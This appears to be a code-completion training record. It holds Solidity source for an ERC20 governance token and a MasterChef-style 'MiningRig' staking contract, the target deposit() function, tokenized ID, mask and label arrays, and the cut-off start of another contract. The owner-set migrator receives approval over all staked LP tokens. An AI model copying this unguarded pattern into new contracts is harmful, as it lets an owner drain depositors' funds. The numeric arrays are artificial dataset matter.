address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/GoldMining.sol
pragma solidity 0.6.12;
// GoldMining with Governance.
contract GoldMining is ERC20("GoldMining Token", "GMT"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MiningRig).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GMT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GMT::delegateBySig: invalid nonce");
require(now <= expiry, "GMT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "GMT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying GMTs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "GMT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/MiningRig.sol
pragma solidity 0.6.12;
interface IMigratorChef {
function migrate(IERC20 token) external returns (IERC20);
}
contract MiningRig is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of GMTs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accGmtPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accGmtPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. GMTs to distribute per block.
uint256 lastRewardBlock; // Last block number that GMTs distribution occurs.
uint256 accGmtPerShare; // Accumulated GMTs per share, times 1e12. See below.
}
// The GMT TOKEN!
GoldMining public gmt;
// Dev address.
address public devaddr;
// Block number when bonus GMT period ends.
uint256 public bonusEndBlock;
// GMT tokens created per block.
uint256 public gmtPerBlock;
// Bonus muliplier for early gmt makers.
uint256 public constant BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when GMT mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
GoldMining _gmt,
address _devaddr,
uint256 _gmtPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
gmt = _gmt;
devaddr = _devaddr;
gmtPerBlock = _gmtPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accGmtPerShare: 0
}));
}
// Update the given pool's GMT allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending GMTs on frontend.
function pendingGmt(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accGmtPerShare = pool.accGmtPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 gmtReward = multiplier.mul(gmtPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accGmtPerShare = accGmtPerShare.add(gmtReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accGmtPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 gmtReward = multiplier.mul(gmtPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
gmt.mint(devaddr, gmtReward.div(10));
gmt.mint(address(this), gmtReward);
pool.accGmtPerShare = pool.accGmtPerShare.add(gmtReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MiningRig for GMT allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accGmtPerShare).div(1e12).sub(user.rewardDebt);
safeGmtTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accGmtPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MiningRig.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accGmtPerShare).div(1e12).sub(user.rewardDebt);
safeGmtTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accGmtPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe gmt transfer function, just in case if rounding error causes pool to not have enough GMTs.
function safeGmtTransfer(address _to, uint256 _amount) internal {
uint256 gmtBal = gmt.balanceOf(address(this));
if (_amount > gmtBal) {
gmt.transfer(_to, gmtBal);
} else {
gmt.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
|
Deposit LP tokens to MiningRig for GMT allocation.
|
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accGmtPerShare).div(1e12).sub(user.rewardDebt);
safeGmtTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accGmtPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
| 14,635,128 |
[
1,
758,
1724,
511,
52,
2430,
358,
5444,
310,
54,
360,
364,
21706,
13481,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
443,
1724,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
3639,
1089,
2864,
24899,
6610,
1769,
203,
3639,
309,
261,
1355,
18,
8949,
405,
374,
13,
288,
203,
5411,
2254,
5034,
4634,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
43,
1010,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
5411,
4183,
43,
1010,
5912,
12,
3576,
18,
15330,
16,
4634,
1769,
203,
3639,
289,
203,
3639,
2845,
18,
9953,
1345,
18,
4626,
5912,
1265,
12,
2867,
12,
3576,
18,
15330,
3631,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
3639,
729,
18,
8949,
273,
729,
18,
8949,
18,
1289,
24899,
8949,
1769,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
43,
1010,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
3639,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
389,
6610,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
[email protected]@@@@#%*;,..............*@
[email protected]@@@@@@@@#*:[email protected]@
[email protected]@@@@@@@@@@@*,........;@@@
[email protected]@@@@@@@@@@@@%,......:#@@@
[email protected]@@@@@@@@@@@@@?.....,#@@@@
[email protected]@@@@@@@@@@@@@@,...,[email protected]@@@@
[email protected]@@@@@@@@@@@@@@:...%@@@@@@
[email protected]@@@@@@@@@@@@@@,[email protected]@@@@@@
[email protected]@@@@@@@@@@@@@?..*@@@@@@@@
[email protected]@@@@@@@@@@@@%,[email protected]@@@@@@@@
[email protected]@@@@@@@@@@@*..;@@@@@@@@@@
[email protected]@@@@@@@@#*:..:@@@@@@@@@@#
[email protected]@@@#S%*;,[email protected]@@@@@@@@@#
..........................................................................................................................................
88888888ba,....88...............88.......................88............db..............................88.................................
88......`"8b...""...............""....,d.................88...........d88b......................,d.....""...............,d................
88........`8b.........................88.................88..........d8'`8b.....................88......................88................
88.........88..88...,adPPYb,d8..88..MM88MMM..,adPPYYba,..88.........d8'..`8b......8b,dPPYba,..MM88MMM..88..,adPPYba,..MM88MMM..,adPPYba,..
88.........88..88..a8"....`Y88..88....88....."".....`Y8..88........d8YaaaaY8b.....88P'..."Y8....88.....88..I8[....""....88.....I8[....""..
88.........8P..88..8b.......88..88....88.....,adPPPPP88..88.......d8""""""""8b....88............88.....88...`"Y8ba,.....88......`"Y8ba,...
88.......a8P...88.."8a,...,d88..88....88,....88,....,88..88......d8'........`8b...88............88,....88..aa....]8I....88,....aa....]8I..
88888888Y"'....88...`"YbbdP"Y8..88...."Y888..`"8bbdP"Y8..88.....d8'..........`8b..88............"Y888..88..`"YbbdP"'...."Y888..`"YbbdP"'..
....................aa,....,88............................................................................................................
....................."Y8bbdP".............................................................................................................
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
/*********************************************
*********************************************
* H e l p e r l i b r a r i e s
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
* See openzeppelin's Address.sol for details
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
}
/*********************************************
*********************************************
* H e l p e r c o n t r a c t s
*/
contract ReentrancyGuard {
uint8 private constant _NOT_ENTERED = 1;
uint8 private constant _ENTERED = 2;
uint8 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(owner() == _msgSender(), "Caller not owner");
_;
}
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
